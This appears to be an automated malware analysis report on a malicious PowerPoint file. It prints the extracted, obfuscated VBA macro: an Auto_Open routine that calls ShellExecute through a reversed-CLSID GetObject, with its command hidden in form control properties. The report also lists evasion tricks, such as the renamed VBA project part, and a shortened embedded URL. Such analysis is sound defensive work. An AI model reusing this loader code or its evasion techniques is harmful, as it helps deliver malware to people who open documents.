MALICIOUS
210
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1218.011 Signed Binary Proxy Execution: Rundll32
This OOXML document contains obfuscated VBA macros designed to execute a payload. The Auto_Open macro, triggered upon opening the document, utilizes GetObject and ShellExecute to run malicious code. The script attempts to decode a string using StrReverse, likely to construct a command or path for execution.
Heuristics 7
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VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/viuytredct.bin)
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Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
. _ ShellExecute _ x0 _ -
VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMEDThe VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
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GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
= _ GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen")) End _ -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub _ Auto_Open _ () -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.j.mp/ajsddddyfyugugudijjsd In document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 971 bytes |
SHA-256: dd342d89f417044ceeefa7d6da8bcc83d243bfa09d9f463968ecc0f3f1ed78f5 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "calo"
Sub _
Auto_Open _
()
Dim _
lol _
As _
New _
m
lol _
. _
p _
. _
ShellExecute _
x0 _
. _
x1 _
. _
Tag _
, _
x0 _
. _
x1 _
. _
ControlTipText
End _
Sub
Attribute VB_Name = "m"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function _
p _
()
Set _
p _
= _
GetObject(StrReverse("000045355444-E94A-EC11-972C-02690731:wen"))
End _
Function
Attribute VB_Name = "x0"
Attribute VB_Base = "0{EC3A699E-3042-4C42-9257-7B3A53A79247}{6B65175A-7EA3-451D-A5B4-E5579805399E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
|
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vbaProject_00.bin |
vba-project | OOXML VBA project: ppt/viuytredct.bin | 20992 bytes |
SHA-256: 5f49c250b216f4ef7d0d4f7eeb70a1d5068b7d23b4cdd6c2fc22316814de1c9a |
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